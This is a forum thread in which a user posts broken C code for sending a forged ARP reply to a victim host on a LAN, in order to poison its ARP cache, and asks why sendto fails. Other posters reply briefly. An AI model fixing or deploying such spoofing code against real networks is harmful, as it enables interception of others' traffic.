免费注册 查看新帖 |

Chinaunix

  平台 论坛 博客 文库
最近访问板块 发新帖
查看: 2174 | 回复: 4
打印 上一主题 下一主题

谁来看看这段丑陋的代码? [复制链接]

论坛徽章:
0
跳转到指定楼层
1 [收藏(0)] [报告]
发表于 2010-01-07 18:03 |只看该作者 |倒序浏览
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <ctype.h>
#include <time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <netinet/tcp.h>
#include <netinet/if_ether.h> /* For ETH_P_ALL */
#include <net/if_arp.h>
#define DST "10.117.4.11"
#define P 80

unsigned char mymac[6]={0x00,0x50,0x56,0x9A,0x30,0xfc};
unsigned char fakemac[6]={0x11,0x22,0x33,0x44,0x55,0x66};
unsigned char fakeip[4]={10,117,1,4};
unsigned char vicmac[6]={0x00,0x50,0x56,0x40,0x27,0x39};
unsigned char vicip[4]={10,117,4,11};

struct arp_packet
{
        struct ethhdr ethhdr;
        struct arphdr arphdr;
        unsigned char src_mac[6];
        unsigned char src_ip[4];
        unsigned char dst_mac[6];
        unsigned char dst_ip[4];

};
int main()
{
        int sockfd;
        char buf[1024];
        if ((sockfd = socket(PF_PACKET, SOCK_RAW,htons(ETH_P_ARP))) < 0) {

        perror("socket");
        exit(1);
                                }
        struct sockaddr_in sin;
        sin.sin_family=AF_INET;
        sin.sin_port=htons(P);
        sin.sin_addr.s_addr=inet_addr(DST);

        struct arp_packet arppacket;
        memcpy(arppacket.ethhdr.h_dest,vicmac,6);
        memcpy(arppacket.ethhdr.h_source,mymac,6);
        arppacket.ethhdr.h_proto=htons(ETH_P_ARP);
        arppacket.arphdr.ar_hrd=htons(ARPHRD_ETHER);
        arppacket.arphdr.ar_pro=htons(ETH_P_IP);
        arppacket.arphdr.ar_hln=6;
        arppacket.arphdr.ar_pln=4;
        arppacket.arphdr.ar_op=htons(ARPOP_REPLY);
        memcpy(arppacket.src_mac,fakemac,6);
        memcpy(arppacket.dst_mac,vicmac,6);
        memcpy(arppacket.src_ip,fakeip,4);
        memcpy(arppacket.dst_ip,vicip,4);
        memcpy(buf,(unsigned char *)(&arppacket),sizeof(struct arp_packet));

        int nbytes=sendto(sockfd,&buf,sizeof(arppacket),0,(struct sockaddr *)&sin,sizeof(sin));
        printf("nbytes is %d\n",nbytes);
        if(nbytes < 0)
        {
        perror("error");
        }

        return 0;
}



我想让vic ip的arp 有我发送过去的一项。

代码丑陋的我自己都觉得有罪。

哪位帮我看看。。我编译过了 。运行时出现
nbytes is -1
error: Invalid argument


问题出哪了?????

[ 本帖最后由 seskissinger 于 2010-1-7 18:25 编辑 ]

论坛徽章:
1
2015年辞旧岁徽章
日期:2015-03-03 16:54:15
2 [报告]
发表于 2010-01-07 18:16 |只看该作者
你为什么觉得它丑陋

论坛徽章:
0
3 [报告]
发表于 2010-01-07 18:19 |只看该作者
因为我很多地方都是抄的,而且它不work。。
感觉很多基础的知识都较不准

论坛徽章:
0
4 [报告]
发表于 2010-01-08 10:26 |只看该作者

论坛徽章:
12
2015年辞旧岁徽章
日期:2015-03-03 16:54:1515-16赛季CBA联赛之同曦
日期:2017-03-17 19:13:162016科比退役纪念章
日期:2016-11-07 08:28:12luobin
日期:2016-06-17 17:46:36wusuopu
日期:2016-06-17 17:43:4515-16赛季CBA联赛之福建
日期:2016-01-14 12:49:22程序设计版块每日发帖之星
日期:2015-12-13 06:20:00程序设计版块每日发帖之星
日期:2015-06-08 22:20:00程序设计版块每日发帖之星
日期:2015-06-08 22:20:002015年亚洲杯之科威特
日期:2015-03-24 14:21:272015年迎新春徽章
日期:2015-03-04 09:57:092016科比退役纪念章
日期:2018-04-10 16:20:18
5 [报告]
发表于 2010-01-08 13:50 |只看该作者
LZ在做什么?
呵呵,很巧,我也在写跟你这个一样的丑陋的代码。
还有内核的一些东西。
可以交流一下啊。
您需要登录后才可以回帖 登录 | 注册

本版积分规则 发表回复

  

北京盛拓优讯信息技术有限公司. 版权所有 京ICP备16024965号-6 北京市公安局海淀分局网监中心备案编号:11010802020122 niuxiaotong@pcpop.com 17352615567
未成年举报专区
中国互联网协会会员  联系我们:huangweiwei@itpub.net
感谢所有关心和支持过ChinaUnix的朋友们 转载本站内容请注明原作者名及出处

清除 Cookies - ChinaUnix - Archiver - WAP - TOP